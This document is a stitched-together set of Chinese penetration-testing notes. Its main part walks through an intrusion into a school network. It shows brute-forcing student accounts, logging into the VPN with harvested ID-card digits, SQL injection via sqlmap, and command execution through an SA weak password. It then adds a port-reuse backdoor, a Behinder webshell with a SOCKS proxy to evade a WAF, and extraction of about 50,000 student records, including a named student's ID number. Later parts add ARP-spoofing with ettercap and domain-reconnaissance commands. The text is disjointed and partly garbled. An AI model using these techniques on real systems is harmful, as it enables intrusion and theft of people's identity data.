基于 运营商侧进行 的渗透 ----难度极大 所以选择 小城-地级市
对于入网侧的 防范 目前没有看到 太多的 策略 与文章
所以研究此项 警示 入网侧的危害性
可以得到网络拓扑
一共两台路由
一台192.168.0.1
-除了路由共有 4台资源
-还有一台是我本机 dell笔记本
一台192.168.1.1
与 外侧 光纤连接路由 通讯完好
这里这个192.168.1.3 就是 连接dell 本机的 wifi
192.168.1.1 是 光纤网关路由
通过 路由用户侧 看到了 1.3 wifi 和 1.7 手机
设备不明 一会用其他方法 验证下
路由本机 拓扑ip
通过上述获取到的学号生成字典,找到一处无验证码的学生系统进行爆破。
如上成功爆破出尾数50的学号存在弱口令,
通过弱口令可以登录该系统,
登录后可以获取到该学生的身份证号码。
此时,我们掌握了一个学号、姓名及身份证号,如果时间足够可以多去爆破几个。
通过对该学校网站继续浏览,发现网站存在VPN系统,此处为突破口。
内网资产嗅探
通过上述获取到的学号+身份证后6位成功登录VPN系统,
若登录不成功,则可以多爆破几个学号,
尝试通过他们的身份证号进行登录,总有学生没有改默认密码的。
如上成功登录VPN系统,进入学校内网。
通过对内网的资产进行了大概的浏览及信息收集,发现存在以下IP段:
192.168.25x.0
192.168.4.0
192.168.5.0
扫描该网段开放WEB服务的服务器,
同时后台扫描SQLServer及MySQL的弱口令。
如下,内网还是存在很多的网站服务器。
通过对几个网段的Web系统的逐个浏览测试,发现主要存在以下漏洞
在线考试管理系统存在SQL注入
抓包使用Sqlmap进行测试,一片红证明存在安全防护软件
资产管理系统存在SQL注入---->用户名处加单引号报错
抓包使用Sqlmap进行测试
同样抓包使用Sqlmap进行测试,但此处未被拦截。
分析后发现该站点和上面站点不是一个网段,
考试管理系统的是192.168.25x.0网段,而当前系统是192.168.4.0网段,
可能是WAF的部署位置缺陷导致
未防护到192.168.4.0网段。推测其大概网络拓扑图如下:
然当前注入点为SA权限,但不支持os-shell
也未找到后台管理页面,且该系统很大可能不存在我们需要的信息。此处暂且先放一边
后台弱口令
发现一系统后台弱口令,成功登录后,并未有可以利用的功能点,且该站点有WAF进行防护。
服务扫描那一块已经扫描完成,扫到存在sa弱口令的服务
SA弱口令
如下,发现两台存在弱口令的服务器,
且为192.168.25x.0网段。可以通过获取该服务器权限建立代理,
然后去跑同网段考试系统的注入点,
即可绕过WAF的防护,进而可获取数据库的信息
通过SQL工具连接后可以执行cmd,且当前权限为system权限
通过以下命令查找RDP服务的端口号
tasklist/svc | find “TermService”
netstat-nao | find “3220”
直接远程内网IP:8080,
提示访问拒绝,表示VPN并未对外开放8080端口的访问。
本想通过reGeorg脚本建立代理,但是80端口访问为报错,
测试默认网站路径写入文件也404。
测试本服务器为纯内网环境,不可访问互联网。
端口复用及Socks代理
通过对当前环境的分析,
目前已经获取了25x的服务器的system权限cmd,
想通过这台服务器建立代理,及登录服务器,在服务器上进行同网段的扫描探测,以此来绕过安全设备的防护。
1、端口复用
但当前是通过VPN连接到内网,
且VPN仅对外开放了某些特定端口。
此时我首先想到的是利用端口复用,
正好当前的80端口的网站为报错页面,于是上传了利用工具。
在目标服务器上执行以下两条命令,此时相当于把本地的8080端口映射到80端口上。
c:\wmpub\drivers.exe
c:\wmpub\Changeport.exelocalhost 8080
执行上述两条命令后,在本地nc目标IP80
发送chkroot2007
即开启端口复用,80端口的web服务会无法访问。
此时远程目标IP:80端口,即可访问服务器RDP
成功登录该服务器,通过该服务器即可当跳板登录内网更多的服务器,且可以对内网进行扫描
测试过程中发现端口复用并不稳定,不时就会断开,有可能是安全设备防护的原因
对目标IP进行了全端口扫描,看看开放了哪些端口,扫描后发现被封了访问20多分钟。
待解封后对端口逐个访问测试,发现存在9527存在web服务。
此时需要找网站的物理路径写shell,以下两种方式即可:
dirf:\2013103011494215.jpg /s
typeC:\WINDOWS\system32\inetsrv\MetaBase.xml | findstr “Path”
连接被重置证明存在安全设备,直接上传reGeorg代理脚本访问也是连接被重置。
此处用到神器冰蝎,上传后成功连接。
开启Socks代理,sqlmap挂上代理进行考试系统注入测试
sqlmap.py–proxy=socks5://192.168.0.110:10086
如上没有报一片红,当前注入点权限为root,绕过了安全设备的防护
学生信息获取
通过对数据库的浏览,发现存在member表,
且数量为近5w,可以估计此约为全校学生信息,包含学号,姓名,身份证号等。
selectusername,name,idcard from user_data where name=‘刘书源’;
即可获取刘书源的学号及身份证号码,通过身份证号码后六位即可登录大部分系统。
达成此次测试的目的,成功获取刘书源的相关信息。
抓取已经获取服务器的账号密码,收集服务器的数据库相关信息等继续进行横向渗透测试
每天整理工具下载 地址
内网资产扫描
https://nmap.org/download.html
Netbios协议探测 nmap -sU --script nbstat.nse -p137 172.16.80.0/21 -T4
可以获得内网主机的主机名和MAC地址等信息。
存活主机
http://www.unixwiz.net/tools/nbtscan.html#download
nbtscan-1.0.35.exe -m 172.16.80.0/24
ICMP协议探测 for /l %i in (1,1,255) do @ ping 172.16.80.%i -w 1 -n 1|find /i “ttl=”
# nmap -sn -PE -T4 172.16.80.0/24 # 扫描
# nmap -sn -PE -T4 172.16.80.0/24 | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' # 提取ip地址
它是TCP/IP协议族的一个子协议,
用于在IP主机、路由器之间传递控制消息。
控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
写入文件,写入C盘需要管理员权限,可使用管理员权限运行,或者切换盘符,内网存活主机保存在b.txt中。
E:\Tools>@for /l %i in (1,1,255) do @ping -n 1 -w 40 172.16.80.%i & if errorlevel 1 (echo 172.16.80.%i>>./a.txt) else (echo 172.16.80.%i >>./b.txt)
利用
https://windows.metasploit.com/metasploitframework-latest.msi
msf5 > use auxiliary/scanner/netbios/nbname
ngrok 建立一个隧道,
将主机A的http请求 传递给 主机B,从而实现内网穿透。
ngrok分为client端(ngrok)和服务端(ngrokd),
图中内网主机上安装客户端。
公网主机 安装服务端。
client public 则代表 访问你电脑的用户或者朋友。
内网穿透,又叫NAT穿透,是计算机用语,
翻译过来就是 你的电脑可以直接被你朋友访问。
通常我们的电脑是无法自己被访问的。
因为我们的电脑缺少自己的独立的ip地址。
现在ip稀缺,电信运营商已经不会随便分配固定ip给个人。
通常实现内网穿透,是通过路由器上端口映射来实现的。
但是路由器通常不是每个人都有权限可以访问和设置,
而且可能存在多级路由器较为复杂的网络结构。端口映射也无法实现。
这就需要ngrok来实现了。
现在都云时代,各种服务都能找到提供商。
内网穿透也是如此。ngrok服务端相当麻烦,如果你只是简单的穿透,又不是什么敏感信息,可以找到很多 服务提供商。
例如https://ngrok.com/
下载客户端
根据你的个人电脑系统下载匹配的客户端。
下载地址: https://ngrok.com/download
ip地址分段:
C段 1.1.1.0/1.1.1.255 255个ip地址
B段1.1.0.0/1.1.255.255 中间有65535个ip地址
A段为1.0.0.0 /1.255.255.255
AJP13是定向包协议。
因为性能原因,使用二进制格式来传输可读性文本。
AJP协议:
WEB服务器通过TCP连接和SERVLET容器连接。
为了减少进程生成socket的花费,
WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接,对多个请求/回复循环重用一个连接。
一旦连接分配给一个特定的请求,在请求处理循环结束之前不会在分配。
换句话说,在连接上,请求不是多元的。
这个是连接两端的编码变得容易,虽然这导致在一时刻会有很多连接。
一些推荐的资源
• 收集的一些安全书籍:http://sec-redclub.com/index.php/604.html
• 安全思维导图:https://github.com/phith0n/Mind-Map
• 内网渗透:https://github.com/l3m0n/pentest_study
• 渗透学习:https://github.com/nixawk/pentest-wiki
根据 IP地址 获取物理地址的 一个TCP/IP协议。
主机 发送信息时 将 包含目标IP地址 的 ARP请求 广播到 局域网络 上的所有主机,并接收返回消息,以此确定目标的物理地址;
收到返回消息后 将该IP地址和物理地址 存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存;
由此攻击者就可以向某一主机发送伪ARP应答报文,使其发送的信息无法到达预期的主机或到达错误的主机,这就构成了一个ARP欺骗。
ARP命令可用于查询本机ARP缓存中IP地址和MAC地址的对应关系、添加或删除静态对应关系等。
B(192.168.1.10)主机 发送数据 到哪里都是根据 本机arp表 和路由表判定的,比如向局域网内或局域网外发送数据,都会通过自己的默认网关转发数据
本地arp表会不定时的刷新ip–mac关系,在本地arp表没有网关192.168.1.1的mac信息时,会发送广播问谁的ip地址是192.168.1.1,这个时候局域网所有主机都会收到这条信息
正常情况下应该是192.168.1.1将mac地址回应给主机B刷新arp表,但是这时候主机A(192.168.1.5)回应说自己就是192.168.1.1,并将mac返回给主机B刷新B的arp表
主机B的arp里对应信息为这样 192.168.1.1-------主机B(192.168.1.5)的mac,得到了网关的mac后就开始传输真正的数据了
数据包封装上 源(主机B)mac 目的为网关mac(实际是主机A的mac)
交换机是这样转发:交换机有个CAM表,存放交换机物理端口和mac对应关系,拆解数据包,看该数据包的目的mac是谁,然后根据cam表转发到对应的端口
由于封装的目的mac是主机A的mac,所以本来发给网关的数据,现在发给了主机A,这就是一个欺骗。
主机A不仅仅欺骗主机A,它还会欺骗网关,说自己就是主机B。
简单原理:
主机A说自己是网关,骗将发给网关的数据发给主机A
然后由主机A发送给真正的网关。
主机A告诉网关它就是主机B
骗将发给B的数据发给主机A,然后由A转发给主机B。
如何防止arp欺骗:
划分vlan和绑定静态的arp表
静态arp表有个弊端就是,如果你绑定的那台旧主机拆走了
接进来另外一台新主机,而你的arp表存的旧主机的mac
这样数据包就转发不出去了
攻击方法:被动
攻击环境:
kalilinux系统
和 要欺骗的主机在同一局域网。
你所在局域网没有被划分vlan。
命令语句: ettercap -i 网卡 -Tq -M arp:remote /网关ip/受害者ip/ 或者 ///
-Tq 安静模式
-M arp:remote 选择插件
工具介绍:
Ettercap:网络嗅探器 ,中间人攻击 。支持很多种协议(即使是加密的),包括网络和主机产品特征分析,dns欺骗等
@查询本机的一些情况
ipconfig /all
@查询存在关系的机器
Net view
@查询有几个域
nei view /damin
@查看 testdomain域中的计算机列表
net view /domain:testdomain
@查询域内的组
net group /domain
@划分网段
dsquery subnet
@查询域内用户
net user /domain
@查询域内组信息
net group /domain
@查询域管理用户组
net group “domain admins” /domain
@查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息!
net user domain-admin /domain
@查询域内计算机
net group “domain computers” /domain
@判断机器属于哪个域
net config Workstation
@判断主域.主域服务器都做时间服务器
net time /domian //这招是在LCX牛的文章里面学会的
net group “domain admins” /domain
@ipc域内连接
net use \IP\ipc$ password /user:username@domain
@跟踪路由
tracert 10.1.0.1
ping x.x.x.x
nbtscan -r 192.168.16.0/24
@扫描某个段的一些东西
hd.exe -hscan 10.0.0.1-10.0.0.255 /a /t 200
还有一个内网结构图形化表现工具
dude
改为与物理机一样的网段ip
eg:192.168.26.156 (kali 所在虚拟机)
192.168.26.1 一个虚拟网关 (在虚拟机上的环境)
其他例如出现 Cisco system 路由网关
nano /etc/resolv.conf Ctrl+s X
(找到 )网络结构拓扑图